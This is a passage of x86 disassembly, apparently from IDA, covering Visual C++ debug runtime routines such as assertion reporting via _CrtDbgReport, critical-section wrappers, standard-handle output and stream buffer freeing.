ds:dword_4F3A14, 0 jnz short loc_422365 mov ds:dword_4F4A20, 14h push 86h push offset dword_43CDF4 push 2 push 4 mov ecx, ds:dword_4F4A20 push ecx call sub_41C2D0 add esp, 14h mov ds:dword_4F3A14, eax cmp ds:dword_4F3A14, 0 jnz short loc_422365 push 1Ah call sub_422270 add esp, 4 loc_422365: ; CODE XREF: sub_4222D0+54j ; sub_4222D0+89j mov [ebp+var_4], 0 jmp short loc_422377 ; --------------------------------------------------------------------------- loc_42236E: ; CODE XREF: sub_4222D0+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_422377: ; CODE XREF: sub_4222D0+9Cj cmp [ebp+var_4], 14h jge short loc_422396 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_451848 mov ecx, [ebp+var_4] mov edx, ds:dword_4F3A14 mov [edx+ecx*4], eax jmp short loc_42236E ; --------------------------------------------------------------------------- loc_422396: ; CODE XREF: sub_4222D0+ABj mov [ebp+var_4], 0 jmp short loc_4223A8 ; --------------------------------------------------------------------------- loc_42239F: ; CODE XREF: sub_4222D0:loc_4223F6j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4223A8: ; CODE XREF: sub_4222D0+CDj cmp [ebp+var_4], 3 jge short loc_4223F8 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_4223E6 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_4223F6 loc_4223E6: ; CODE XREF: sub_4222D0+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov ds:dword_451858[ecx], 0FFFFFFFFh loc_4223F6: ; CODE XREF: sub_4222D0+114j jmp short loc_42239F ; --------------------------------------------------------------------------- loc_4223F8: ; CODE XREF: sub_4222D0+DCj mov esp, ebp pop ebp retn sub_4222D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422400 proc near ; DATA XREF: _2:0043F038o push ebp mov ebp, esp call sub_422FE0 movsx eax, ds:byte_4F332C test eax, eax jz short loc_422418 call sub_430140 loc_422418: ; CODE XREF: sub_422400+11j pop ebp retn sub_422400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422420 proc near ; CODE XREF: sub_41BCF0+55p ; sub_41E180+8p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_451848 jb short loc_42244E cmp [ebp+arg_0], offset dword_451AA8 ja short loc_42244E mov eax, [ebp+arg_0] sub eax, offset off_451848 sar eax, 5 add eax, 1Ch push eax call sub_423280 add esp, 4 jmp short loc_42245B ; --------------------------------------------------------------------------- loc_42244E: ; CODE XREF: sub_422420+Aj ; sub_422420+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_4F53A8 ; RtlEnterCriticalSection loc_42245B: ; CODE XREF: sub_422420+2Cj pop ebp retn sub_422420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422460 proc near ; CODE XREF: sub_422FF0+7Ep ; sub_427B60+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_42247A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_423280 add esp, 4 jmp short loc_422487 ; --------------------------------------------------------------------------- loc_42247A: ; CODE XREF: sub_422460+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_4F53A8 ; RtlEnterCriticalSection loc_422487: ; CODE XREF: sub_422460+18j pop ebp retn sub_422460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422490 proc near ; CODE XREF: sub_41BCF0+70p ; sub_41E180+2Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_451848 jb short loc_4224BE cmp [ebp+arg_0], offset dword_451AA8 ja short loc_4224BE mov eax, [ebp+arg_0] sub eax, offset off_451848 sar eax, 5 add eax, 1Ch push eax call sub_423320 add esp, 4 jmp short loc_4224CB ; --------------------------------------------------------------------------- loc_4224BE: ; CODE XREF: sub_422490+Aj ; sub_422490+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_4F53A4 ; RtlLeaveCriticalSection loc_4224CB: ; CODE XREF: sub_422490+2Cj pop ebp retn sub_422490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224D0 proc near ; CODE XREF: sub_422FF0+116p ; sub_427B60+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_4224EA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_423320 add esp, 4 jmp short loc_4224F7 ; --------------------------------------------------------------------------- loc_4224EA: ; CODE XREF: sub_4224D0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_4F53A4 ; RtlLeaveCriticalSection loc_4224F7: ; CODE XREF: sub_4224D0+18j pop ebp retn sub_4224D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422500 proc near ; CODE XREF: sub_422610+113p ; sub_4229A0+33p push ebp mov ebp, esp call ds:dword_4F5498 ; DebugBreak pop ebp retn sub_422500 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_422520 cmp dword ptr [ebp+8], 3 jl short loc_422525 loc_422520: ; CODE XREF: _0:00422518j or eax, 0FFFFFFFFh jmp short loc_422563 ; --------------------------------------------------------------------------- loc_422525: ; CODE XREF: _0:0042251Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_422537 mov eax, [ebp+8] mov eax, ds:dword_451ACC[eax*4] jmp short loc_422563 ; --------------------------------------------------------------------------- loc_422537: ; CODE XREF: _0:00422529j mov ecx, [ebp+0Ch] and ecx, 0FFFFFFF8h test ecx, ecx jz short loc_422546 or eax, 0FFFFFFFFh jmp short loc_422563 ; --------------------------------------------------------------------------- loc_422546: ; CODE XREF: _0:0042253Fj mov edx, [ebp+8] mov eax, ds:dword_451ACC[edx*4] mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov ds:dword_451ACC[ecx*4], edx mov eax, [ebp-4] loc_422563: ; CODE XREF: _0:00422523j _0:00422535j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jl short loc_422580 cmp dword ptr [ebp+8], 3 jl short loc_422587 loc_422580: ; CODE XREF: _0:00422578j mov eax, 0FFFFFFFEh jmp short loc_4225EA ; --------------------------------------------------------------------------- loc_422587: ; CODE XREF: _0:0042257Ej cmp dword ptr [ebp+0Ch], 0FFFFFFFAh jnz short loc_422599 mov eax, [ebp+8] mov eax, ds:dword_451AD8[eax*4] jmp short loc_4225EA ; --------------------------------------------------------------------------- loc_422599: ; CODE XREF: _0:0042258Bj mov ecx, [ebp+8] mov edx, ds:dword_451AD8[ecx*4] mov [ebp-4], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFCh jnz short loc_4225C0 push 0FFFFFFF5h call ds:dword_4F549C ; GetStdHandle mov ecx, [ebp+8] mov ds:dword_451AD8[ecx*4], eax jmp short loc_4225E7 ; --------------------------------------------------------------------------- loc_4225C0: ; CODE XREF: _0:004225AAj cmp dword ptr [ebp+0Ch], 0FFFFFFFBh jnz short loc_4225DA push 0FFFFFFF4h call ds:dword_4F549C ; GetStdHandle mov edx, [ebp+8] mov ds:dword_451AD8[edx*4], eax jmp short loc_4225E7 ; --------------------------------------------------------------------------- loc_4225DA: ; CODE XREF: _0:004225C4j mov eax, [ebp+8] mov ecx, [ebp+0Ch] mov ds:dword_451AD8[eax*4], ecx loc_4225E7: ; CODE XREF: _0:004225BEj _0:004225D8j mov eax, [ebp-4] loc_4225EA: ; CODE XREF: _0:00422585j _0:00422597j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, ds:dword_4F3A10 mov [ebp-4], eax mov ecx, [ebp+8] mov ds:dword_4F3A10, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422610 proc near ; CODE XREF: sub_41BCF0+24p ; sub_41BD80+2Cp ... var_302C = dword ptr -302Ch var_3028 = dword ptr -3028h var_3024 = byte ptr -3024h var_3010 = byte ptr -3010h var_300C = dword ptr -300Ch var_3008 = byte ptr -3008h var_3007 = byte ptr -3007h var_2008 = byte ptr -2008h var_2007 = byte ptr -2007h var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h var_FFF = byte ptr -0FFFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch push ebp mov ebp, esp mov eax, 302Ch call sub_41EF80 push edi mov [ebp+var_3008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_3007] rep stosd stosw stosb mov [ebp+var_2008], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_2007] rep stosd stosw stosb mov [ebp+var_1000], 0 mov ecx, 3FFh xor eax, eax lea edi, [ebp+var_FFF] rep stosd stosw stosb lea eax, [ebp+arg_14] mov [ebp+var_1004], eax cmp [ebp+arg_0], 0 jl short loc_42267E cmp [ebp+arg_0], 3 jl short loc_422686 loc_42267E: ; CODE XREF: sub_422610+66j or eax, 0FFFFFFFFh jmp loc_42299B ; --------------------------------------------------------------------------- loc_422686: ; CODE XREF: sub_422610+6Cj cmp [ebp+arg_0], 2 jnz loc_422730 push offset dword_451AC8 call ds:dword_4F5488 ; InterlockedIncrement test eax, eax jle loc_422730 cmp ds:dword_4F3370, 0 jnz short loc_4226EE push offset aUser32_dll_0 ; "user32.dll" call ds:off_4F538C mov [ebp+var_300C], eax cmp [ebp+var_300C], 0 jz short loc_4226E6 push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_300C] push ecx call ds:off_4F5390 mov ds:dword_4F3370, eax cmp ds:dword_4F3370, 0 jnz short loc_4226EE loc_4226E6: ; CODE XREF: sub_422610+B4j or eax, 0FFFFFFFFh jmp loc_42299B ; --------------------------------------------------------------------------- loc_4226EE: ; CODE XREF: sub_422610+9Aj ; sub_422610+D4j mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"... lea ecx, [ebp+var_2008] push ecx call ds:dword_4F3370 add esp, 10h lea edx, [ebp+var_2008] push edx call ds:dword_4F54A0 ; OutputDebugStringA push offset dword_451AC8 call ds:dword_4F5484 ; InterlockedDecrement call sub_422500 or eax, 0FFFFFFFFh jmp loc_42299B ; --------------------------------------------------------------------------- loc_422730: ; CODE XREF: sub_422610+7Aj ; sub_422610+8Dj cmp [ebp+arg_10], 0 jz short loc_42276D mov eax, [ebp+var_1004] push eax mov ecx, [ebp+arg_10] push ecx push 0FEDh lea edx, [ebp+var_1000] push edx call sub_41F9C0 add esp, 10h test eax, eax jge short loc_42276D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea eax, [ebp+var_1000] push eax call sub_41F620 add esp, 8 loc_42276D: ; CODE XREF: sub_422610+124j ; sub_422610+147j cmp [ebp+arg_0], 2 jnz short loc_4227A5 cmp [ebp+arg_10], 0 jz short loc_422785 mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: " jmp short loc_42278F ; --------------------------------------------------------------------------- loc_422785: ; CODE XREF: sub_422610+167j mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!" loc_42278F: ; CODE XREF: sub_422610+173j mov ecx, [ebp+var_3028] push ecx lea edx, [ebp+var_3008] push edx call sub_41F620 add esp, 8 loc_4227A5: ; CODE XREF: sub_422610+161j lea eax, [ebp+var_1000] push eax lea ecx, [ebp+var_3008] push ecx call sub_41F630 add esp, 8 cmp [ebp+arg_0], 2 jnz short loc_4227FA mov edx, [ebp+arg_0] mov eax, ds:dword_451ACC[edx*4] and eax, 1 test eax, eax jz short loc_4227E6 push offset asc_43CE30 ; "\r" lea ecx, [ebp+var_3008] push ecx call sub_41F630 add esp, 8 loc_4227E6: ; CODE XREF: sub_422610+1C0j push offset asc_43CE2C ; "\n" lea edx, [ebp+var_3008] push edx call sub_41F630 add esp, 8 loc_4227FA: ; CODE XREF: sub_422610+1AFj cmp [ebp+arg_4], 0 jz short loc_422842 lea eax, [ebp+var_3008] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push offset aSDS ; "%s(%d) : %s" push 1000h lea eax, [ebp+var_2008] push eax call sub_41EC30 add esp, 18h test eax, eax jge short loc_422840 push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_2008] push ecx call sub_41F620 add esp, 8 loc_422840: ; CODE XREF: sub_422610+21Aj jmp short loc_422858 ; --------------------------------------------------------------------------- loc_422842: ; CODE XREF: sub_422610+1EEj lea edx, [ebp+var_3008] push edx lea eax, [ebp+var_2008] push eax call sub_41F620 add esp, 8 loc_422858: ; CODE XREF: sub_422610:loc_422840j cmp ds:dword_4F3A10, 0 jz short loc_42289C lea ecx, [ebp+var_1008] push ecx lea edx, [ebp+var_2008] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F3A10 add esp, 0Ch test eax, eax jz short loc_42289C cmp [ebp+arg_0], 2 jnz short loc_422891 push offset dword_451AC8 call ds:dword_4F5484 ; InterlockedDecrement loc_422891: ; CODE XREF: sub_422610+274j mov eax, [ebp+var_1008] jmp loc_42299B ; --------------------------------------------------------------------------- loc_42289C: ; CODE XREF: sub_422610+24Fj ; sub_422610+26Ej mov ecx, [ebp+arg_0] mov edx, ds:dword_451ACC[ecx*4] and edx, 1 test edx, edx jz short loc_4228EB mov eax, [ebp+arg_0] cmp ds:dword_451AD8[eax*4], 0FFFFFFFFh jz short loc_4228EB push 0 lea ecx, [ebp+var_3010] push ecx lea edx, [ebp+var_2008] push edx call sub_41BC70 add esp, 4 push eax lea eax, [ebp+var_2008] push eax mov ecx, [ebp+arg_0] mov edx, ds:dword_451AD8[ecx*4] push edx call ds:dword_4F53B4 ; WriteFile loc_4228EB: ; CODE XREF: sub_422610+29Bj ; sub_422610+2A8j mov eax, [ebp+arg_0] mov ecx, ds:dword_451ACC[eax*4] and ecx, 2 test ecx, ecx jz short loc_422909 lea edx, [ebp+var_2008] push edx call ds:dword_4F54A0 ; OutputDebugStringA loc_422909: ; CODE XREF: sub_422610+2EAj mov eax, [ebp+arg_0] mov ecx, ds:dword_451ACC[eax*4] and ecx, 4 test ecx, ecx jz short loc_422988 cmp [ebp+arg_8], 0 jz short loc_42293D push 0Ah lea edx, [ebp+var_3024] push edx mov eax, [ebp+arg_8] push eax call sub_430220 add esp, 0Ch mov [ebp+var_302C], eax jmp short loc_422947 ; --------------------------------------------------------------------------- loc_42293D: ; CODE XREF: sub_422610+30Ej mov [ebp+var_302C], 0 loc_422947: ; CODE XREF: sub_422610+32Bj lea ecx, [ebp+var_1000] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_302C] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4229A0 add esp, 14h mov [ebp+var_1008], eax cmp [ebp+arg_0], 2 jnz short loc_422980 push offset dword_451AC8 call ds:dword_4F5484 ; InterlockedDecrement loc_422980: ; CODE XREF: sub_422610+363j mov eax, [ebp+var_1008] jmp short loc_42299B ; --------------------------------------------------------------------------- loc_422988: ; CODE XREF: sub_422610+308j cmp [ebp+arg_0], 2 jnz short loc_422999 push offset dword_451AC8 call ds:dword_4F5484 ; InterlockedDecrement loc_422999: ; CODE XREF: sub_422610+37Cj xor eax, eax loc_42299B: ; CODE XREF: sub_422610+71j ; sub_422610+D9j ... pop edi mov esp, ebp pop ebp retn sub_422610 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229A0 proc near ; CODE XREF: sub_422610+351p var_1138 = dword ptr -1138h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 1138h call sub_41EF80 loc_4229AD: ; CODE XREF: sub_4229A0+3Cj cmp [ebp+arg_10], 0 jnz short loc_4229D8 push offset aSzusermessageN ; "szUserMessage != NULL" push 0 push 1DAh push offset aDbgrpt_c ; "dbgrpt.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_4229D8 call sub_422500 loc_4229D8: ; CODE XREF: sub_4229A0+11j ; sub_4229A0+31j xor eax, eax test eax, eax jnz short loc_4229AD push 104h lea ecx, [ebp+var_108] push ecx push 0 call ds:off_4F5344 test eax, eax jnz short loc_422A0A push offset aProgramNameUnk ; "<program name unknown>" lea edx, [ebp+var_108] push edx call sub_41F620 add esp, 8 loc_422A0A: ; CODE XREF: sub_4229A0+54j lea eax, [ebp+var_108] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41BC70 add esp, 4 cmp eax, 40h jbe short loc_422A4D mov edx, [ebp+var_4] push edx call sub_41BC70 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax-40h] mov [ebp+var_4], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_4] push eax call sub_41E510 add esp, 0Ch loc_422A4D: ; CODE XREF: sub_4229A0+82j mov ecx, [ebp+arg_C] mov [ebp+var_1110], ecx cmp [ebp+var_1110], 0 jz short loc_422AA8 mov edx, [ebp+var_1110] push edx call sub_41BC70 add esp, 4 cmp eax, 40h jbe short loc_422AA8 mov eax, [ebp+var_1110] push eax call sub_41BC70 add esp, 4 mov ecx, [ebp+var_1110] lea edx, [ecx+eax-40h] mov [ebp+var_1110], edx push 3 push offset a___ ; "..." mov eax, [ebp+var_1110] push eax call sub_41E510 add esp, 0Ch loc_422AA8: ; CODE XREF: sub_4229A0+BDj ; sub_4229A0+D1j cmp [ebp+arg_0], 2 jnz short loc_422ABA mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"... jmp short loc_422AC4 ; --------------------------------------------------------------------------- loc_422ABA: ; CODE XREF: sub_4229A0+10Cj mov [ebp+var_1114], offset dword_43CF7C loc_422AC4: ; CODE XREF: sub_4229A0+118j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_422AD9 mov eax, [ebp+arg_10] mov [ebp+var_1118], eax jmp short loc_422AE3 ; --------------------------------------------------------------------------- loc_422AD9: ; CODE XREF: sub_4229A0+12Cj mov [ebp+var_1118], offset dword_43CF7C loc_422AE3: ; CODE XREF: sub_4229A0+137j mov ecx, [ebp+arg_10] movsx edx, byte ptr [ecx] test edx, edx jz short loc_422AFF cmp [ebp+arg_0], 2 jnz short loc_422AFF mov [ebp+var_111C], offset aExpression ; "Expression: " jmp short loc_422B09 ; --------------------------------------------------------------------------- loc_422AFF: ; CODE XREF: sub_4229A0+14Bj ; sub_4229A0+151j mov [ebp+var_111C], offset dword_43CF7C loc_422B09: ; CODE XREF: sub_4229A0+15Dj mov eax, [ebp+arg_10] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_422B1F mov [ebp+var_1120], offset asc_43CF68 ; "\n\n" jmp short loc_422B29 ; --------------------------------------------------------------------------- loc_422B1F: ; CODE XREF: sub_4229A0+171j mov [ebp+var_1120], offset dword_43CF7C loc_422B29: ; CODE XREF: sub_4229A0+17Dj cmp [ebp+arg_8], 0 jz short loc_422B3A mov edx, [ebp+arg_8] mov [ebp+var_1124], edx jmp short loc_422B44 ; --------------------------------------------------------------------------- loc_422B3A: ; CODE XREF: sub_4229A0+18Dj mov [ebp+var_1124], offset dword_43CF7C loc_422B44: ; CODE XREF: sub_4229A0+198j cmp [ebp+arg_8], 0 jz short loc_422B56 mov [ebp+var_1128], offset aLine ; "\nLine: " jmp short loc_422B60 ; --------------------------------------------------------------------------- loc_422B56: ; CODE XREF: sub_4229A0+1A8j mov [ebp+var_1128], offset dword_43CF7C loc_422B60: ; CODE XREF: sub_4229A0+1B4j cmp [ebp+arg_4], 0 jz short loc_422B71 mov eax, [ebp+arg_4] mov [ebp+var_112C], eax jmp short loc_422B7B ; --------------------------------------------------------------------------- loc_422B71: ; CODE XREF: sub_4229A0+1C4j mov [ebp+var_112C], offset dword_43CF7C loc_422B7B: ; CODE XREF: sub_4229A0+1CFj cmp [ebp+arg_4], 0 jz short loc_422B8D mov [ebp+var_1130], offset aFile_1 ; "\nFile: " jmp short loc_422B97 ; --------------------------------------------------------------------------- loc_422B8D: ; CODE XREF: sub_4229A0+1DFj mov [ebp+var_1130], offset dword_43CF7C loc_422B97: ; CODE XREF: sub_4229A0+1EBj cmp [ebp+var_1110], 0 jz short loc_422BAE mov ecx, [ebp+var_1110] mov [ebp+var_1134], ecx jmp short loc_422BB8 ; --------------------------------------------------------------------------- loc_422BAE: ; CODE XREF: sub_4229A0+1FEj mov [ebp+var_1134], offset dword_43CF7C loc_422BB8: ; CODE XREF: sub_4229A0+20Cj cmp [ebp+var_1110], 0 jz short loc_422BCD mov [ebp+var_1138], offset aModule ; "\nModule: " jmp short loc_422BD7 ; --------------------------------------------------------------------------- loc_422BCD: ; CODE XREF: sub_4229A0+21Fj mov [ebp+var_1138], offset dword_43CF7C loc_422BD7: ; CODE XREF: sub_4229A0+22Bj mov edx, [ebp+var_1114] push edx mov eax, [ebp+var_1118] push eax mov ecx, [ebp+var_111C] push ecx mov edx, [ebp+var_1120] push edx mov eax, [ebp+var_1124] push eax mov ecx, [ebp+var_1128] push ecx mov edx, [ebp+var_112C] push edx mov eax, [ebp+var_1130] push eax mov ecx, [ebp+var_1134] push ecx mov edx, [ebp+var_1138] push edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] mov edx, ds:off_451AE4[ecx*4] push edx push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"... push 1000h lea eax, [ebp+var_110C] push eax call sub_41EC30 add esp, 3Ch test eax, eax jge short loc_422C5D push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"... lea ecx, [ebp+var_110C] push ecx call sub_41F620 add esp, 8 loc_422C5D: ; CODE XREF: sub_4229A0+2A7j push 12012h push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library" lea edx, [ebp+var_110C] push edx call sub_430AA0 add esp, 0Ch mov [ebp+var_10C], eax cmp [ebp+var_10C], 3 jnz short loc_422C96 push 16h call sub_4307E0 add esp, 4 push 3 call sub_41E8C0 loc_422C96: ; CODE XREF: sub_4229A0+2E3j cmp [ebp+var_10C], 4 jnz short loc_422CA6 mov eax, 1 jmp short loc_422CA8 ; --------------------------------------------------------------------------- loc_422CA6: ; CODE XREF: sub_4229A0+2FDj xor eax, eax loc_422CA8: ; CODE XREF: sub_4229A0+304j mov esp, ebp pop ebp retn sub_4229A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422CB0 proc near ; CODE XREF: sub_41BD80+71p ; sub_4314E0+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_422CE1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_422CFC loc_422CE1: ; CODE XREF: sub_422CB0+Dj call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_422D26 ; --------------------------------------------------------------------------- loc_422CFC: ; CODE XREF: sub_422CB0+2Fj mov edx, [ebp+arg_0] push edx call sub_431070 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_422D30 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_431100 add esp, 4 mov eax, [ebp+var_4] loc_422D26: ; CODE XREF: sub_422CB0+4Aj mov esp, ebp pop ebp retn sub_422CB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422D30 proc near ; CODE XREF: sub_422CB0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_430EF0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_422D83 cmp [ebp+arg_0], 1 jz short loc_422D52 cmp [ebp+arg_0], 2 jnz short loc_422D6C loc_422D52: ; CODE XREF: sub_422D30+1Aj push 1 call sub_430EF0 add esp, 4 mov esi, eax push 2 call sub_430EF0 add esp, 4 cmp esi, eax jz short loc_422D83 loc_422D6C: ; CODE XREF: sub_422D30+20j mov ecx, [ebp+arg_0] push ecx call sub_430EF0 add esp, 4 push eax call ds:off_4F533C test eax, eax jz short loc_422D8C loc_422D83: ; CODE XREF: sub_422D30+14j ; sub_422D30+3Aj mov [ebp+var_4], 0 jmp short loc_422D95 ; --------------------------------------------------------------------------- loc_422D8C: ; CODE XREF: sub_422D30+51j call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_4], eax loc_422D95: ; CODE XREF: sub_422D30+5Aj mov edx, [ebp+arg_0] push edx call sub_430E10 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_422DD3 mov eax, [ebp+var_4] push eax call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_422DD5 ; --------------------------------------------------------------------------- loc_422DD3: ; CODE XREF: sub_422D30+90j xor eax, eax loc_422DD5: ; CODE XREF: sub_422D30+A1j pop esi mov esp, ebp pop ebp retn sub_422D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422DE0 proc near ; CODE XREF: sub_41BD80+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_422DE6: ; CODE XREF: sub_422DE0+2Ej cmp [ebp+arg_0], 0 jnz short loc_422E0A push offset dword_43C504 push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_422E0A int 3 ; Trap to Debugger loc_422E0A: ; CODE XREF: sub_422DE0+Aj ; sub_422DE0+27j xor eax, eax test eax, eax jnz short loc_422DE6 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_422E6D mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_422E6D push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41CA10 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_422E6D: ; CODE XREF: sub_422DE0+3Ej ; sub_422DE0+4Bj pop edi pop esi pop ebx pop ebp retn sub_422DE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_422E96 push 0 call sub_422FF0 add esp, 4 jmp short loc_422EC0 ; --------------------------------------------------------------------------- loc_422E96: ; CODE XREF: _0:00422E88j mov eax, [ebp+8] push eax call sub_422420 add esp, 4 mov ecx, [ebp+8] push ecx call sub_422ED0 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_422490 add esp, 4 mov eax, [ebp-4] loc_422EC0: ; CODE XREF: _0:00422E94j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422ED0 proc near ; CODE XREF: _0:00422EA6p ; sub_422FF0+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_422F20 add esp, 4 test eax, eax jz short loc_422EE8 or eax, 0FFFFFFFFh jmp short loc_422F0F ; --------------------------------------------------------------------------- loc_422EE8: ; CODE XREF: sub_422ED0+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_422F0D mov eax, [ebp+arg_0] mov ecx, 